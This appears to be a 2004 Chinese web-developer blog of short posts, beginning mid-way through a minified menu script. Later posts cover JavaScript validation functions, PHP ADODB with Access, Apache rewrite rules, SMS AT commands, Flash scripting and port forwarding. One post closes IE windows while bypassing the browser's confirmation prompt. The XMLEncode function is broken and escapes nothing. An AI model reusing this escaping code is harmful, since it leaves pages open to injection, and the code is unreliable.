{lo.w=lo.clip.width;lo.h=lo.clip.height;for(var sl=0;sl<lo.layers[0].layers.length;sl++) {var slo=mFrame.document.layers[l].layers[0].layers[sl];if(slo.name.indexOf("EH")>0) {slo.document.onmouseup=hNSCClick;slo.document.TCode=nTCode[slo.name.split("EH")[1]];}else if((slo.name.indexOf("MC")!=-1)&&!IsWin) if(nL[slo.name.substr(2)].split("|")[0]!="") {nL[slo.name.substr(2)]=FixPointSize(nL[slo.name.substr(2)]);hL[slo.name.substr(2)]=FixPointSize(hL[slo.name.substr(2)]);}}for(var sl=0;sl<cFrame.document.layers['dmbTB'].layers.length;sl++) {slo=cFrame.document.layers['dmbTB'].layers[sl];if(slo.name.indexOf('EH')>0) {slo.document.onmouseup=hNSCClick;slo.document.TCode=nTCode[slo.name.split('EH')[1]];}}}}}if(NS) with(document) {open();write(Expand("<layer name=Menu00119208100 808080 !oxpback.jpg\"11117206101 1EH11411522103B5BED6 11411522102 2EH212611522103B5BED6Support\',1,0 212611522102 3EH314811522103B5BED6Games\',1,0 314811522102 4EH417011522103B5BED6Screensavers\',1,0 417011522102 5EH519211522103B5BED6Software\',1,0 519211522102 6EH6111411522103B5BED6Desktopthemes\',1,0 6111411522102 7EH7113611522103B5BED6Wallpapers\',1,0 7113611522102 8EH8115811522103B5BED6Skins\',1,0 8115811522102 9EH9118011522103B5BED6 9118011522102Support009052100 808080 !oxpback.jpg\"118850101 10EH10148622103B5BED6group2 command1 10148622102 11EH111268620103B5BED6group2 command2 111268620102Games008754100 808080 !oxpback.jpg\"118552101 12EH12148322103B5BED6 12148322102 13EH131268322103B5BED6 131268322102Screensavers00120131100 808080 !oxpback.jpg\"11118129101 14EH141411622103B5BED6 141411622102 15EH1512611622103B5BED6 15126116221025191002100 266696 17EH1716111621103B5BED6 1716111621102 18EH1818211621103B5BED6 1818211621102 19EH19110311622103B5BED6 19110311622102Software009976100 808080 !oxpback.jpg\"119774101 20EH20149522103B5BED6 20149522102 21EH211269522103B5BED6 211269522102 22EH221489522103B5BED6 221489522102Desktopthemes00118119100 808080 !oxpback.jpg\"11116117101 23EH231411422103B5BED6 231411422102 24EH2412611422103B5BED6 2412611422102 25EH2514811421103B5BED6 2514811421102 26EH2616911422103B5BED6 2616911422102 27EH2719111422103B5BED6 2719111422102Wallpapers009776100 808080 !oxpback.jpg\"119574101 28EH28149322103B5BED6 28149322102 29EH291269322103B5BED6 291269322102 30EH301489322103B5BED6 301489322102Skins00117179100 808080 !oxpback.jpg\"11115177101 31EH311411322103B5BED6 311411322102 32EH3212611322103B5BED6 3212611322102 33EH3314811321103B5BED6 3314811321102 34EH3416911321103B5BED6 3416911321102 35EH3519011320103B5BED6 3519011320102 36EH36111011319103B5BED6 36111011319102 37EH37112911322103B5BED6 37112911322102 38EH38115111322103B5BED6 38115111322102Help0011898100 808080 !oxpback.jpg\"1111696101 39EH391411422103B5BED6 391411422102 40EH4012611422103B5BED6 4012611422102 41EH4114811422103B5BED6 4114811422102 42EH4217011422103B5BED6 4217011422102>"));close();}SetUpEvents();function Expand(code) {code = xrep(code, "", "\';\"");code = xrep(code, "", "<ilayer");expandArray("", "<ilayer");code = xrep(code, "", " top=");expandArray("", " top=");code = xrep(code, "", " left=");expandArray("", " left=");code = xrep(code, "", " width=");expandArray("", " width=");code = xrep(code, "", " height=");expandArray("", " height=");code = xrep(code, "", " z-index=");code = xrep(code, " ", " bgColor=#");code = xrep(code, " ", " visibility=hidden><layer background=\"");code = xrep(code, " ", "><layer name=MC");code = xrep(code, "", " OnMouseOver=\"cFrame.NSHoverSel(0,this,\'#");code = xrep(code, "", "\');status=\'");code = xrep(code, "", "></layer");expandArray("", "></layer");code = xrep(code, "", "\';cFrame.ShowMenu(\'");code = xrep(code, "", ",true);\"");code = xrep(code, "", "><layer name=");code = xrep(code, "", "><font face=");expandArray("", "><font face=");code = xrep(code, "", " point-size=");expandArray("", " point-size=");code = xrep(code, "", " color=#");expandArray("", " color=#");code = xrep(code, "", "><img name=");expandArray("", "><img name=");code = xrep(code, "", "></font></ilayer>|");expandArray("", "></font></ilayer>|");code = xrep(code, "", "</layer><layer");expandArray("", "</layer><layer");code = xrep(code, "", "><layer");expandArray("", "><layer");code = xrep(code, "", " src=\"");expandArray("", " src=\"");code = xrep(code, "", "cFrame.execURL('");expandArray("", "cFrame.execURL('");code = xrep(code, "", "','frames[");expandArray("", "','frames[");code = xrep(code, " ", "Tahoma");expandArray(" ", "Tahoma");code = xrep(code, "!", "/Menu/");code = xrep(code, "$", "1px");expandArray("$", "1px");code = xrep(code, "&", "2px");expandArray("&", "2px");expandArray("(", "2px");return code;}function expandArray(o, n) {for(var i=1; i<nL.length; i++) {nL[i] = xrep(nL[i], o, n);hL[i] = xrep(hL[i], o, n);if(nTCode[i]) nTCode[i] = xrep(nTCode[i], o, n);}for(var i=1001; i<hsnL.length; i++){hsnL[i] = xrep(hsnL[i], o, n);hshL[i] = xrep(hshL[i], o, n);if(nTCode[i]) nTCode[i] = xrep(nTCode[i], o, n);}}
IeMenu.js
var nS=new Array;var hS=new Array;var nL=new Array;var hL=new Array;var nTCode=new Array;var AnimStep=0;var AnimHnd=0;var HTHnd=new Array;var DoFormsTweak=true;var MenusReady=false;var SelSndId=0;var nsOW;var nsOH;var mFrame;var cFrame;var OpenMenus=new Array;var nOM=0;var mX;var mY;var HideSpeed=300;var TimerHideDelay=2000;var TimerHideHnd=0;var IsOverHS=false;var cntxMenu='Menu';var IsContext=false;var IsFrames=false;var BV=parseInt(navigator.appVersion.indexOf("MSIE")>0?navigator.appVersion.split(";")[1].substr(6):navigator.appVersion);var BN=navigator.appName;var IsWin=(navigator.userAgent.indexOf('Win')!=-1);var IsMac=(navigator.userAgent.indexOf('Mac')!=-1);var OP=(navigator.userAgent.indexOf('Opera')!=-1&&BV>=4)?true:false;var NS=(BN.indexOf('Netscape')!=-1&&(BV==4)&&!OP)?true:false;var SM=(BN.indexOf('Netscape')!=-1&&(BV>=5)||OP)?true:false;var IE=(BN.indexOf('Explorer')!=-1&&(BV>=4)||SM)?true:false;if(!eval(frames['self'])) {frames.self=window;frames.top=top;}cFrame=eval(frames['self']);var fx=1;var tbUseToolbar=true;var tbBorder=3;var tbSpacing=8;var tbStyle=0;var tbAlignment=1;var tbSpanning=1;var tbFollowHScroll=true;var tbFollowVScroll=true;var tbMargins=[0,0];var tbFPos=[0,0];var lmcHS=null;var tbHS=new Array;var tbWidth=743;var tbHeight=28;var hsnS=new Array;var hshS=new Array;var hsnL=new Array;var hshL=new Array;tbHS[1]=[56,22];tbHS[2]=[68,22];tbHS[3]=[62,22];tbHS[4]=[95,22];tbHS[5]=[76,22];tbHS[6]=[104,22];tbHS[7]=[83,22];tbHS[8]=[54,22];tbHS[9]=[51,22];hsnS[1001]="font-family:114FFFFFF 266696-.";hshS[1001]="font-family:114266696 B5BED6-.";var MenuLImgOff=new Image;var MenuLImgOn=new Image;MenuLImgOff.src='/Menu/home.gif';MenuLImgOn.src='/Menu/home.gif';hsnS[1002]="font-family:11
shelly 发表于
2004-06-09 20:19:59
FROM:CSDN 原作:fason
论坛里问这个问题的多不胜数,但回答都不尽人意,没有考虑到I浏览器的类型,版本,希望这一文章能帮到大家,有错请指教!本程序ie5,6,ns7下通过
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <meta name="GENERATOR" content="Microsoft FrontPage 4.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <title>New Page 1</title> <!-- by fason(2003-5-20) --> </head> <body> <script language="JavaScript"> <!-- function CloseWin() { var ua=navigator.userAgent var ie=navigator.appName=="Microsoft Internet Explorer"?true:false if(ie){ var IEversion=parseFloat(ua.substring(ua.indexOf("MSIE ")+5,ua.indexOf(";",ua.indexOf("MSIE ")))) if(IEversion< 5.5){ var str = '<object id=noTipClose classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">' str += '<param name="Command" value="Close"></object>'; document.body.insertAdjacentHTML("beforeEnd", str); document.all.noTipClose.Click(); } else{ window.opener =null; window.close(); } } else{ window.close() } } //--> </script> <input type=button value=关闭 onclick="CloseWin()"> </body> </html>
shelly 发表于
2004-06-07 07:44:29
FROM : CSDN
JavaScript (一)
VisualSW
JavaScript 在 WEB 编程中能起到很大的作用,将一些常用的功能写成 JavaScript 类库。
将下面代码保存为 Common.js
类库功能:
1.Trim(str) --去除字符串两边的空格
2.XMLEncode(str) --对字符串进行 XML 编码
3.ShowLabel(str,str) --鼠标提示功能(显示字符,提示字符)
可以设置显示的提示的文字的字体、颜色、大小以及提示的背景颜色、边框等
4.IsEmpty(obj) --验证输入框是否为空
5.IsInt(objStr,sign,zero) --验证是否为整数,正整数,负整数,以及是否包括零
6.IsFloat(objStr,sign,zero) --验证是否为浮点数,正浮点,负浮点,以及是否包括零
7.IsEnLetter(objStr,size) --验证是否为 26 个字母,大写小
源代码如下:
/*
名字: Common.js
功能:通用 JavaScript 脚本函数库
包括:
1.Trim(str)--去除字符串两边的空格
2.XMLEncode(str)--对字符串进行 XML 编码
3.ShowLabel(str,str)--鼠标提示功能(显示字符,提示字符)
4.IsEmpty(obj)--验证输入框是否为空
5.IsInt(objStr,sign,zero)--验证是否为整数
6.IsFloat(objStr,sign,zero)--验证是否为浮点数
7.IsEnLetter(objStr,size)--验证是否为 26 个字母
作者:申旺
日期: 2004/04/14
*/
/*
==================================================================
字符串操作
Trim(string): 去除字符串两边的空格
==================================================================
*/
/*
==================================================================
LTrim(string): 去除左边的空格
==================================================================
*/
function LTrim(str)
{
var whitespace = new String(" \t\n\r");
var s = new String(str);
if (whitespace.indexOf(s.charAt(0)) != -1)
{
var j=0, i = s.length;
while (j < i && whitespace.indexOf(s.charAt(j)) != -1)
{
j++;
}
s = s.substring(j, i);
}
return s;
}
/*
==================================================================
RTrim(string): 去除右边的空格
==================================================================
*/
function RTrim(str)
{
var whitespace = new String(" \t\n\r");
var s = new String(str);
if (whitespace.indexOf(s.charAt(s.length-1)) != -1)
{
var i = s.length - 1;
while (i >= 0 && whitespace.indexOf(s.charAt(i)) != -1)
{
i--;
}
s = s.substring(0, i+1);
}
return s;
}
/*
==================================================================
Trim(string): 去除前后空格
==================================================================
*/
function Trim(str)
{
return RTrim(LTrim(str));
}
/*
================================================================================
XMLEncode(string): 对字符串进行 XML 编码
================================================================================
*/
function XMLEncode(str)
{
str=Trim(str);
str=str.replace("&","&");
str=str.replace("<","<");
str=str.replace(">",">");
str=str.replace("'","'");
str=str.replace("\"",""");
return str;
}
/*
================================================================================
验证类函数
================================================================================
*/
function IsEmpty(obj)
{
obj=document.getElementsByName(obj).item(0);
if(Trim(obj.value)=="")
{
alert("字段不能为空。 ");
if(obj.disabled==false && obj.readOnly==false)
{
obj.focus();
}
}
}
/*
IsInt(string,string,int or string):( 测试字符串 ,+ or - or empty,empty or 0)
功能:判断是否为整数、正整数、负整数、正整数 +0 、负整数 +0
*/
function IsInt(objStr,sign,zero)
{
var reg;
var bolzero;
if(Trim(objStr)=="")
{
return false;
}
else
{
objStr=objStr.toString();
}
if((sign==null)||(Trim(sign)==""))
{
sign="+-";
}
if((zero==null)||(Trim(zero)==""))
{
bolzero=false;
}
else
{
zero=zero.toString();
if(zero=="0")
{
bolzero=true;
}
else
{
alert("检查是否包含 0 参数,只可为 ( 空、 0)");
}
}
switch(sign)
{
case "+-":
//整数
reg=/(^-?|^\+?)\d+$/;
break;
case "+":
if(!bolzero)
{
//正整数
reg=/^\+?[0-9]*[1-9][0-9]*$/;
}
else
{
//正整数 +0
//reg=/^\+?\d+$/;
reg=/^\+?[0-9]*[0-9][0-9]*$/;
}
break;
case "-":
if(!bolzero)
{
//负整数
reg=/^-[0-9]*[1-9][0-9]*$/;
}
else
{
//负整数 +0
//reg=/^-\d+$/;
reg=/^-[0-9]*[0-9][0-9]*$/;
}
break;
default:
alert("检查符号参数,只可为 ( 空、 + 、 -)");
return false;
break;
}
var r=objStr.match(reg);
if(r==null)
{
return false;
}
else
{
return true;
}
}
/*
IsFloat(string,string,int or string):( 测试字符串 ,+ or - or empty,empty or 0)
功能:判断是否为浮点数、正浮点数、负浮点数、正浮点数 +0 、负浮点数 +0
*/
function IsFloat(objStr,sign,zero)
{
var reg;
var bolzero;
if(Trim(objStr)=="")
{
return false;
}
else
{
objStr=objStr.toString();
}
if((sign==null)||(Trim(sign)==""))
{
sign="+-";
}
if((zero==null)||(Trim(zero)==""))
{
bolzero=false;
}
else
{
zero=zero.toString();
if(zero=="0")
{
bolzero=true;
}
else
{
alert("检查是否包含 0 参数,只可为 ( 空、 0)");
}
}
switch(sign)
{
case "+-":
//浮点数
reg=/^((-?|\+?)\d+)(\.\d+)?$/;
break;
case "+":
if(!bolzero)
{
//正浮点数
reg=/^\+?(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$/;
}
else
{
//正浮点数 +0
reg=/^\+?\d+(\.\d+)?$/;
}
break;
case "-":
if(!bolzero)
{
//负浮点数
reg=/^-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$/;
}
else
{
//负浮点数 +0
reg=/^((-\d+(\.\d+)?)|(0+(\.0+)?))$/;
}
break;
default:
alert("检查符号参数,只可为 ( 空、 + 、 -)");
return false;
break;
}
var r=objStr.match(reg);
if(r==null)
{
return false;
}
else
{
return true;
}
}
JavaScript 通用库(二)
VisualSW
/*
IsEnLetter(string,string): 引用(trackback1)
google排名经验谈
FROM: http://www.xagoogle.com/search/search006.htm
针对与google排名,关键是内容好。当然内容好,能不能让GOOGLE知道,那就是技巧方面的问题了。根据许多经验,在这里与各位朋友分享一下几个要点:
A、 标题标签: 标题及网页代码中 与 之间的字符。 目前,不光GOOGLE,而且大多搜索引擎都很关注它,所以这个标题标签的设计对你的网站在搜索引引擎的排名中特别重要。所以,标题设计一定要接近全力想到关键词,最好把最重要的关键词融入到标题中。例如:
luao.y365.com 是我花了一个下午做出来的试验的放在免费空间,用免费二级域名的站点,不过他在百度、GOOGLE 中打入“工艺画”、”麦秸画“ “工艺画批发”、“工艺画制作”等关键词,它都排在第一的位置。
针对于它的标题,我是这样设计的:
注:标题设计最好不好超过40个字符,也就是20个汉字。
B、 内容标签: 在网页标签中,关键词标签已经不被搜索引擎看重,而目前google相对而言还是比较看重内容简介标签的。及: 在简介标签中,一定要充分发挥最关键的那个词的出现频率,以及融入有可能出现的组合关键词。请看下面这个内容简介标签:
注:经过试验表明,这个标签放在 这个标签上面比较好。
C、 页面内容: 标题的设计,标签的设计,最好要与内容想符合,另外在网页中,最好能够合理的提高关键词出现频率。 另外针对与关键词,可以用加粗(及 ) ,也可以用相对大一点的字体突出关键词。 这样,GOOGLE将会更加关注这个关键词。
D、 外部连接: 大家都知道,在GOOGLE中,通过A网站的连接到B战,就等于A站投B站了一票,B站在google中及积分将升高一分,积分高了,当然也有利于排名了。所以,网站的外部连接特别重要。那么就谈友情连接了,对于友情连接,最好多做高攀的、门当户对的、内容互补的友情连接。呵呵!
E、 其他策略: 说道底,对于网站而言。想要真正的做好,还是把内容做好,把你的用户粘在你的网站,这样通过网络营销,你的用户将不断的积累,流量那么也是越来越大,流量大了,对GOOGLE排名最有用。
案例: 麦秸工艺画 http://luao.y365.com 关键词: 工艺画、麦秸画 等等 OIC点子俱乐部 关键词:点子 手机之家 http://www.imobile.com.cn 关键词:手机 手机新闻 手机软件 价格比较网:http://www.dududu.net 关键词:价格比较、电脑价格比较、手机价格比较等等。
shelly 发表于
2004-06-02 09:41:50
PHP 通过 ADODB 连接 Access 的一个实例~~~~
<?php include('tohtml.inc.php'); // load code common to ADODB include('adodb.inc.php'); // load code common to ADODB $db = &ADONewConnection("ado_access"); print "<h1>Connecting $db->databaseType...</h1>"; $access = 'test.mdb'; $myDSN = 'PROVIDER=Microsoft.Jet.OLEDB.4.0;'.'DATA SOURCE='. $access . ';';.'USER ID=;PASSWORD=;'; if (@$db->PConnect($myDSN, "", "", "")) { print "ADO version=".$db->_connectionID->version."<br>"; $sql = 'select name, group1 from experts'; $rs = $db->Execute($sql); rs2html($rs,'border=2 cellpadding=3',array('Customer Name','Customer ID')); } else print "ERROR: Access test requires a Access database $access".'<BR>'.$db->ErrorMsg(); ?>
//下面是今晚我自己的测试代码.
<?php include("adodb.inc.php");
$db=&ADONewConnection("ado_access"); //设定以ADO_ACCESS方式连接数据库. $access = "d:\\WWW\\test\\test.mdb"; //设定ACCESS数据库的路径. PHP可以用 _FILE_ _DIR_ 常量来获取吧?? 忘记了./:D 注意路径用 双 \ ,调试中走了些弯路. $myDSN="Provider=Microsoft.Jet.OLEDB.4.0;"."DATA SOURCE=".$access.";"." USER ID=;PASSWORD=;"; //连接 字串 if(@$db->Connect($myDSN,"","","")){ // 如果连接成功的话, $sql="SELECT * FROM `USER`"; //设置SQL语句 $rs=$db->Execute($sql); //运行 SQL语句查询 while($rs->MoveNext()){ //循环整个 RecordSet for($i=0;$i<count($rs->fields);$i++) echo "$i is :".$rs->fields[$i]."<BR />"; //输出 每个字段的值. } // 上面这段是 Select 查询
$sql="UPDATE `USER` SET Id='14' WHERE Id='13'"; $rs=$db->Execute($sql); //上面这段是 Update 查询
$sql="INSERT INTO `USER` (`Id`,`Domains`,`Ftpuser`,`Ftppass`,`ChangePassword`,`HomeDir`,`RelPaths`,`AlwaysAllowLogin`,`DiskQuota`,`TimeOut`,`Access1`) VALUES ('15','Domain1','Shelly','Shelly','1','F:\','1','1','14400','300','F:\|RWL')"; $rs=$db->Execute($sql); // 上面这段是 Insert into 查询
} else die ("Connect error".$db->ErrorMsg()); //如果连接出错,就给出出错信息. $db->Close(); //关闭连接.
上面就是关于用 PHP 调用ADODB 类库 对Access 数据库操作的实例. 希望对您有用. /:D 有其它论坛记得 TrackBack Me.....
shelly 发表于
2004-05-22 16:28:28
CU论坛进入分论坛的每个话题连接是html,这种技术最近得到很多的应用。 http://bbs.xianfeng.net/index.html 就是这样子的例子。
CU论坛进入分论坛的每个话题连接是html,这种技术最近得到很多的应用。 http://bbs.xianfeng.net/index.html 就是这样子的例子。 一、前提条件: 引用: 服务器上面的WEB服务器软件为Apache,至于其他的WEB服务器软件是否可以做到我没有测试 二、必要条件: 引用: 加载了ReWrite模块,这个看看你的Httpd.conf的配置文件之中关于rewrite的模块是否#屏蔽了 代码: LoadModule rewrite_module libexec/apache2/mod_rewrite.so 三、必备知识: 引用: 正则表达式的相关知识,虽然在一些基本应用之中,可能不一定需要正则表达式的知识,但是你可能会上瘾,所以强烈建议掌握相关正则表达式的知识 四、配置 引用: 以下的配置,是我实际应用,绝对正确(处于相关原因,未能原版展示,请见谅,但是所显得绝对是可用的): 代码: #打开Rewrite RewriteEngine On #Rewrite规则集 RewriteRule ^/forum([0-9]+)_topic([0-9]+)\.html$ /topic.cgi?forum=$1&topic=$2 RewriteRule ^/forum([0-9]+)\.html$ /forums.cgi?forum=$1 RewriteRule ^/index.html$ /index.cgi RewriteRule ^/view_forum([0-9]+)_topic([0-9]+)\.html$ /view.cgi?forum=$1&topic=$2 RewriteRule ^/forum([0-9]+)_show([0-9]+)\.html$ /forums.cgi?forum=$1&show=$2 五、说明 引用: RewriteRule ^/forum([0-9]+)_topic([0-9]+)_show([0-9]+)\.html$ /topic.cgi?forum=$1&topic=$2&show=$3 这个rewrite规则分为三个部分: RewriteRule 要转换的表达式 实际的调用页面 ^/forum([0-9]+)_topic([0-9]+)\.html$ 表示 表示 论坛 文章 编号 编号 一到 $2 多个 数字 匹配 结果 在$1 /topic.cgi?forum=$1&topic=$2 如果网址为: forum12_topic234.html 就表示论坛12的第234个主题,调用的实际页面就是 topic.cgi?forum=12&topic=234 六、程序上的修改: 代码: 以上所做的已经可以把一个有效的静态地址转换为动态页面了,当然我们需要修改一下子我们自己的程序: 例如原来的程序是: echo "topic.cgi?forum=$forumid&topic=$topicid" 那么修改后的程序就是: echo "forum$forumid\_topic$topicid.html" 七、附加: 引用: 以上所说得其实很简陋,如果你掌握了正则表达式的相关知识,也掌握了Apache的rewrite的相关知识,那么所能做到得远比以上所展示的精彩绝伦,当然,太复杂了也不是好事哦
shelly 发表于
2004-05-22 12:12:21
AT 指令
功 能
AT+CMGC
Send an SMS command(发出一条短消息命令)
AT+CMGD
Delete SMS message(删除SIM卡内存的短消息)
AT+CMGF
Select SMS message formate(选择短消息信息格式:0-PDU;1-文本)
AT+CMGL List SMS message from preferred store(列出SIM卡中的短消息PDU/text: 0/“REC UNREAD”-未读,1/“REC READ”-已读,2/“STO UNSENT”-待发,3/“STO SENT”-已发,4/“ALL”-全部的) AT+CMGR Read SMS message(读短消息) AT+CMGS Send SMS message(发送短消息) AT+CMGW Write SMS message to memory(向SIM内存中写入待发的短消息) AT+CMSS Send SMS message from storage(从SIN|M内存中发送短消息) AT+CNMI New SMS message indications(显示新收到的短消息) AT+CPMS Preferred SMS message storage(选择短消息内存) AT+CSCA SMS service center address(短消息中心地址) AT+CSCB Select cell broadcast messages(选择蜂窝广播消息) AT+CSMP Set SMS text mode parameters(设置短消息文本模式参数) AT+CSMS Select Message Service(选择短消息服务) 对短消息的控制共有三种模式: Block Mode 基于AT命令的PDU Mode 基于AT命令的Text Mode 使用Block模式需要手机生产厂家提供驱动支持,目前,PDU Mode 已取代 Block Mode, Text Mode比较简单,本文重点介绍模式PDU Mode,以西门子公司的产品TC35T为例。 2.计算机与TC35T的通信 (1)RS232串口连接 由于TC35T自带RS232串口线,故只需将其连接到计算机串口即可。打开超级终端,选择相应的串口,将端口参数设置为:速率—4800、奇偶校验位—无、数据位—8、停止位—1、流量控制—硬件。 (2)连接测试 输入“AT”然后回车,屏幕上返回“OK”表明计算机与TC35T已连接成功,TC35T能够正常工作。这时就可以测试各类AT命令。 当测试命令“AT+CMGS=?<CR>”时,如果返回“OK”标明TC35T支持该指令。该指令的完整语法如下: 如果此时TC35T处于PDU Mode(即“AT+CMGF?<CR>”返回“0”) AT+CMGS=<length><CR>PDU is given<^Z/ESC> 如果短消息发送成功,则返回“OK”,并显示信息号: +CMGS: <mr>[,<ackpdu>] 如果短消息发送失败,则返回如下信息号: +CMS ERROR: <err> 如果此时TC35T处于Text Mode(即“AT+CMGF?<CR>”返回“1”) AT+CMGS=<da>[,toda]<CR>text is entered<^Z/ESC> 如果短消息发送成功,则返回“OK”,并显示信息号: +CMGS: <mr>[,<scts>] 如果短消息发送失败,则返回如下信息号: +CMS ERROR: <err> 另外,由于使用的是TC35T,当有新的短消息到来时,需要TC35T产生提示,使用指令“AT+CNMI”。该指令的完整语法如下: AT+CNMI=[<mode>][,<mt>][,<bm>][,<ds>][,<bfr>] 如果有新的短消息来到,则TC35T将自动返回下列提示: +CMTI: “SM”, <index> 此时读出<index>,然后用“AT+CMGR”指令即可读出短消息内容。
shelly 发表于
2004-05-22 08:57:25
呵呵,很多人都可能用这种经历:
<select name=select1 multiple >
<option value='1' selected> Select1 </option> <option value='2'> Select2 </option> <option value='3' selected> Select3 </option> <option value='4' selected> Select4 </option>
</select>
在PHP中最终得到的可是最后选择的那项的值。
呵呵,莫办法,GOOGLE了一下,发觉是
<select name="select1[] " multiple>
<option value='1' selected> Select1 </option> <option value='2'> Select2 </option> <option value='3' selected> Select3 </option> <option value='4' selected> Select4 </option>
</select>
但这种方法有个问题,如果您要在客户端对复选框是否被选择、选择了几个用javascript来判断时,javascript会因为复选框的name中含有[]而出错。您可以在表单中加入一个隐含域,用javascript设置它的值。 <script language="javascript"> function check() { var strchoice=""; for(var i=0;i<document.news.choice.length;i++) { if (document.news.choice.checked) { strchoice=strchoice+document.news.choice.value+","; } } if (!document.news.choice.length) { if (document.news.choice.checked) { strchoice=document.news.choice.value;+"," } } strchoice=strchoice.substring(0,strchoice.length-1); document.news.choiceid.value=strchoice; alert(document.news.choiceall.value); } </script> <html> ... <form name="news" action="test.php" method="post" onsubmit="check()"> <input type="checkbox" name="choice" value="1"> <input type="checkbox" name="choice" value="2"> <input type="checkbox" name="choice" value="3"> <input type="checkbox" name="choice" value="4"> <input type="hidden" name="choiceid" value=""> </form> ... </html>
shelly 发表于
2004-05-17 14:42:53
shelly 发表于
2004-05-17 11:09:32
以前在我在 http://members.lycos.co.uk/tencent/ 上保留的文章,不在了。
最后在 http://www.macromedia.com 上找到答案:
JavaScript 操作FLASH 关键要注意以下几点:
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0 " width=400 height=180 id="myFlash" >
<embed src="javascript_to_flash.swf" quality=high width=400 height=180 type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash " name="myFlash" swliveconnect="true" >
function doPassVar(args){ var sendText = args.value; window.document.myFlash.SetVariable("myVar", sendText); }
附可控制Flash Player的Javascript方法 : 一览表: Play() ---------------------------------------- 播放动画 StopPlay()------------------------------------停止动画 IsPlaying()----------------------------------- 动画是否正在播放 GotoFrame(frame_number)---------------- 跳转到某帧 TotalFrames()------------------------------- 获取动画总帧数 CurrentFrame()------------------------------回传当前动画所在帧数-1 Rewind()-------------------------------------使动画返回第一帧 SetZoomRect(left,top,right,buttom)-------放大指定区域 Zoom(percent)------------------------------改变动画大小 Pan(x_position,y_position,unit)------------使动画在x,y方向上平移 PercentLoaded()----------------------------返回动画被载入的百分比 LoadMovie(level_number,path)----------- 加载动画 TGotoFrame(movie_clip,frame_number)- movie_clip跳转到指定帧数 TGotoLabel(movie_clip,label_name)------ movie_clip跳转到指定标签 TCurrentFrame(movie_clip)--------------- 回传movie_clip当前帧-1 TCurrentLabel(movie_clip)-----------------回传movie_clip当前标签 TPlay(movie_clip)---------------------------播放movie_clip TStopPlay(movie_clip)----------------------停止movie_clip的播放 GetVariable(variable_name)-----------------获取变量 SetVariable(variable_name,value)-----------变量赋值 TCallFrame(movie_clip,frame_number)---call指定帧上的action TCallLabel(movie_clip,label)----------------call指定标签上的action TGetProperty(movie_clip,property)--------获取movie_clip的指定属性 TSetProperty(movie_clip,property,number)-设置movie_clip的指定属性
FLASH 操作 JavaScript 关键要注意以下几点:
on (release) { fscommand ("send_var", inputVar); }
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/ flash/swflash.cab#version=5,0,0,0" width=366 height=142 id="myFlash" > <embed src="javascript_to_flash.swf" quality=high width=366 height=142 type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi? P1_Prod_Version=ShockwaveFlash" name="myFlash" swLiveConnect="true" > </embed>
function myFlash_DoFSCommand(command, args) { var myFlashObj = InternetExplorer ? myFlash : document.myFlash; alert (args); }
http://www.macromedia.com/support/flash/ts/documents/java_script_comm.htm
shelly 发表于
2004-05-15 12:18:01
FROM :PHPE.NET
<?php $t = new Template("/home/mydir/mytemplates/"); // 这三行同第一个例子一样 $t->set_file("MyFileHandle","MyTemplate.ihtml"); $t->set_var("some_color",$my_color); $t->parse("MyOutput","MyFileHandle"); // 注意我们没有调用p() // 这里,仍然没有输出任何东西 // 现在分析第二个模板 $t->set_file("WholeHandle","wholePage.ihtml"); // wholePage.ihtml 有 "{MyOutput}" 在里面 $t->parse("MyFinalOutput","WholeHandle"); // 所有的 {MyOutput} 被替换了 $t->p("MyFinalOutput"); // 输出 MyFinalOutput 的值 ?>
下面是其中几个函数的使用 $T->Set_File("随便定义","模板文件.tpl"); $T->Set_Block("在set_file中定义的","<!-- 来自模板 -->","随便定义"); $T->Parse("在Set_Block中定义的","<!-- 来自模板 -->",true); $T->Parse("随便输出结果","在Set_File中定义的"); 设置循环格式为: <!--(多于一个空格) BEGIN $handle(多于一个空格)--> 如何将模板生成静态网页 PHP代码:-------------------------------------------------------------------------------- <?php //这里使用phplib模板 ............ ............ $tpl->parse("output","html"); $output = $tpl->get("output");// $output 为整个网页内容 function wfile($file,$content,$mode='w') { $oldmask = umask(0); $fp = fopen($file, $mode); if (!$fp) return false; fwrite($fp,$content); fclose($fp); umask($oldmask); return true; } // 写到文件里 Wfile($FILE,$output); header("location:$FILE");//重定向到生成的网页 } ?>
唉,还是去官方站点啃E文档算了。
http://www.sanisoft.com/phplib/manual/index.php --------------------------------------------------------------------------------
shelly 发表于
2004-05-13 16:08:02
出处: pc286.com 作者:不详 1,如何设置sygate在局域网内架设web,ftp,mail服务器? -------------------------------------------------------------------------------- 在SYGATE里面的ACCESS RULE来设置就可以了。设置方法如下: 比如你的拨号机器为192.168.0.1, WEB服务器在192.168.0.10。 那么设置方法就是在菜单tools ->access rules里面点add ->import a rule from system -> 在下拉框种选择our web server, 然后用“detail”,看到的 direction :in, client 192.168.0.10, destport:80。 2,如何用windows的“internet连接共享”中设置端口转发? -------------------------------------------------------------------------------- 以在内部pc 192.168.1.2上架设web server为例子,web的一般默认端口是80,设置如下: 1,右击“桌面”的“网上邻居”,查看“属性”; 2,右击相应网络连接,查看“属性”中的“共享”,点击“设置”; 3,在“服务”的标签中点“填加”,在“服务名”中填写您要的名称,例如“WEB”,在“服务端口”中填写80,使用的协议选tcp。 4,在“专用网络服务器计算机的名称或地址”填写内部提供服务的服务器的ip地址,然后点击“确定”就可以了 3,如何设置winroute在局域网内架设web服务器? -------------------------------------------------------------------------------- 以架设web server为例: 1、打开Winroute Administration。 2、点击settings->advanced->port mapping按钮,在port mapping 页面中点击add,打开settings对话框。 3、在protocol中选择tcp。 4、选择Listen single port,并填写使用的端口号80。 5、在destination中填写内部提供web服务的计算机内部网络地址,比如 192.168.0.10。 6、点击ok。 7、重新连接Internet 